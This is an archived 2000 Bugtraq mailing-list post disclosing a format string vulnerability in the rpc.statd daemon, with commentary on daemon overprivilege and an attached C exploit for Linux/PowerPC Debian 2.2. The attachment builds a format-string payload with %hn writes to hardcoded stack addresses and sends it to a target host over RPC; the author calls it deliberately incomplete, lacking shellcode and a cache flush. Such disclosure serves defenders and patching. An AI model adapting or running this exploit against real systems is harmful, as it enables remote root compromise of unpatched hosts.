5278614 2000-07-17  19:55  /237 rader/ Postmaster
Mottagare: Bugtraq (import) <11752>
Ärende: Lots and lots of fun with rpc.statd
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: bugtraq@securityfocus.com
Mail-Followup-To: Daniel Jacobowitz <drow@false.org>, bugtraq@securityfocus.com
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1 
             protocol="application/pgp-signature"; boundary="EuxKj2iCbKjpUGkD"
Content-Disposition: inline
User-Agent: Mutt/1.1.9i
Message-ID:  <20000716194510.A15951@drow.them.org>
Date:         Sun, 16 Jul 2000 19:45:10 -0700
Reply-To: Daniel Jacobowitz <drow@FALSE.ORG>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Daniel Jacobowitz <drow@FALSE.ORG>
To: BUGTRAQ@SECURITYFOCUS.COM

--EuxKj2iCbKjpUGkD
Content-Type: multipart/mixed; boundary="vtzGhvizbBRQ85DL"
Content-Disposition: inline


--vtzGhvizbBRQ85DL
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Last week was a little quiet, so I thought I'd throw some kindling on
the fire.  Here's another prime example of a format string bug: our
old friend rpc.statd.

Attached is an exploit.  The offsets are for Linux/PowerPC, Debian 2.2.  It
isn't functional, though - and it's more than just kiddy-proofed.  You'll
need three things:
 (A) shellcode.  There's two or three published; mine isn't quite ready
     for public consumption (meaning it's so ugly it embarrasses me).
     I think it's better than any of the other PPC shellcodes currently
     available, though.  I'll publish it eventually.
 (B) sm_inter.x from the nfs-utils source
 (C) A way to flush the cache before running code.
     PowerPC (recent CPUs, at least) has a separate data and instruction
     cache.  If you use this exploit as is, with gdb attached to the
     process, single stepping, it will work.  If you run it on a remote
     machine, it won't.  Why not?  Because the code is on the stack, which
     remains in the data cache, and then the icache loads the old contents
     of the stack when you branch there!
     There are several solutions to this.

You may also need to change the offsets.  I think the exploit says
all it needs to say without hand-holding - questions about using it
WILL go directly to /dev/null.  I do have a fully function version of
this, and I have verified that it works as promised.


The current version of statd does not have these problems, for at
least the past two weeks (I believe the current version is 0.1.9.1).
Fixed Debian packages are available for alpha, sparc, powerpc, and
i386.

And a rant about the bug, from Chris Evans:
===========================================
- The severity of this hole, i.e. remote root, is much greater than
it should be. All the stupid daemon does is listen to requests on a
network, and manage a few files.

Call the UNIX security model non-granular, and poor, but there's no
way you need root to do that.

It's true that it requires a low-port (i.e. privileged) socket to
send data on, as a way of gaining the trust of the remote (where
remote is often the localhost). However, since it's a connectionless
UDP socket, you can launch the daemon as root, grab the socket, and
drop root.

Furthermore, the daemon is a prime candidate for chroot()'ing, but
this is not done. The above plus a chroot() would limit the severity
of this hole to a non-root shell without the ability to raise
privilege by exec()'ing any suid-root binaries.

Finally note that rpc.statd is by no means the only daemon guilty of
overprivilege like this. The neanderthal "use root" approach of most
ftpd's is just asking for remote root trouble. Has no-one heard of
distrusting privileged helpers?
===========================================



Dan

/--------------------------------\  /--------------------------------\
|       Daniel Jacobowitz        |__|        SCS Class of 2002       |
|   Debian GNU/Linux Developer    __    Carnegie Mellon University   |
|         dan@debian.org         |  |       dmj+@andrew.cmu.edu      |
\--------------------------------/  \--------------------------------/

--vtzGhvizbBRQ85DL
Content-Type: text/x-csrc; charset=us-ascii
Content-Disposition: attachment; filename="statd-toy.c"
Content-Transfer-Encoding: quoted-printable

/*
 * Slightly dysfunctional rpc.statd exploit
 *  for all the dysfunctional script kiddies out there
 *
 * Author: drow, 07/2000
 *
 * And just for kicks...
 * Greets:
 *  Chris Evans, whose fault all this is
 *  whoever wrote the old solaris statd exploit I ripped the RPC code out of
 *  <james> send out greetz to all the 1337 D3B14N H4X0R2!!!!
 *  and THEM (THEY know who THEY are)
 *
 *
 * This is dedicated to Joel Klecker.  Those who knew him know why.
 *
 */

#include <sys/types.h>
#include <sys/time.h>
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <rpcsvc/sm_inter.h>
#include <sys/socket.h>

void usage(char *s) {
  printf("Usage: %s host [-nopoke]\n", s);
  exit(0);
}

extern char shell[];

main(int argc, char *argv[]) {
  CLIENT *cl;
  enum clnt_stat stat;
  struct timeval tm;
  struct mon monreq;
  struct sm_stat_res monres;
  struct hostent *hp;
  struct sockaddr_in target;
  int sd, i, noplen=3Dstrlen(nop), nopoke=3D0;
  char *ptr=3Dcode, *p2, code[4096];

  if (argc < 2)
    usage(argv[0]);
  if (argc > 2)
    nopoke =3D 1;

  /* Alignment */
  strcpy(ptr, "AAA");
  ptr +=3D strlen(ptr);
 =20
  /* Target to write to! */
  *(unsigned long *)(ptr) =3D 0x7fffeb04;
  ptr +=3D sizeof(unsigned long);
 =20
  /* pad */
  *(unsigned long *)(ptr) =3D 0x11111111;
  ptr +=3D sizeof(unsigned long);

  /* Target Two (two higher in memory probably) */
  *(unsigned long *)(ptr) =3D 0x7fffeb06;
  ptr +=3D sizeof(unsigned long);
 =20
  for(i =3D 0; i < 46-1; i++) {
    strcpy(ptr, "%12d");
    ptr +=3D strlen(ptr);
  }

if(!nopoke) {
  /* Value to write - amount written */
  /* Guess a bit - remember to leave a lot of padding, and be lucky on alig=
nment */
  /* Don't correct for IP address!  Forced to localhost by stat code - same=
 length. */
#define HIGH 0x7fff
#define LOW 0xeecc
  sprintf(ptr, "%%%dd%%hn", HIGH - 12*45
  	  - strlen("STAT_FAIL to 127.0.0.1 for SM_MON of AAABBBB1111CCCC"));
  ptr +=3D strlen(ptr);

  sprintf(ptr, "%%%dd%%hn", (LOW - HIGH) % 65536);
  ptr +=3D strlen(ptr);

  /* CODE */
  p2 =3D shell;
  while(*p2)
    *(ptr++) =3D *(p2++);
}
  *(ptr++) =3D 0;

  memset(&monreq, 0, sizeof(monreq));
  monreq.mon_id.my_id.my_name=3D"localhost";
  monreq.mon_id.my_id.my_prog=3D0;
  monreq.mon_id.my_id.my_vers=3D0;
  monreq.mon_id.my_id.my_proc=3D0;
  monreq.mon_id.mon_name=3D code  /*code*/;

  if ((hp=3Dgethostbyname(argv[1])) =3D=3D NULL) {
    printf("Can't resolve %s\n", argv[1]);
    exit(0);
  }
  target.sin_family=3DAF_INET;
  target.sin_addr.s_addr=3D*(u_long *)hp->h_addr;
  target.sin_port=3D0;    /* ask portmap */
  sd=3DRPC_ANYSOCK;

  tm.tv_sec=3D10;
  tm.tv_usec=3D0;
  if ((cl=3Dclntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) =3D=3D NULL=
) {
    clnt_pcreateerror("clnt_create");
    exit(0);
  }
  stat=3Dclnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
                (char *)&monres, tm);
  if (stat !=3D RPC_SUCCESS)
    clnt_perror(cl, "clnt_call");
  else
    printf("stat_res =3D %d.\n", monres.res_stat);
  clnt_destroy(cl);
}

--vtzGhvizbBRQ85DL--

--EuxKj2iCbKjpUGkD
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.1 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE5cnM2bgOPXuCjg3cRAiZdAJ9fSz2KJHy8v6uWHja7c0ifsDAcHgCePg/u
Ep5oQeMRF0p1zolILnh2evE=
=JDj1
-----END PGP SIGNATURE-----

--EuxKj2iCbKjpUGkD--
(5278614) ------------------------------------------(Ombruten)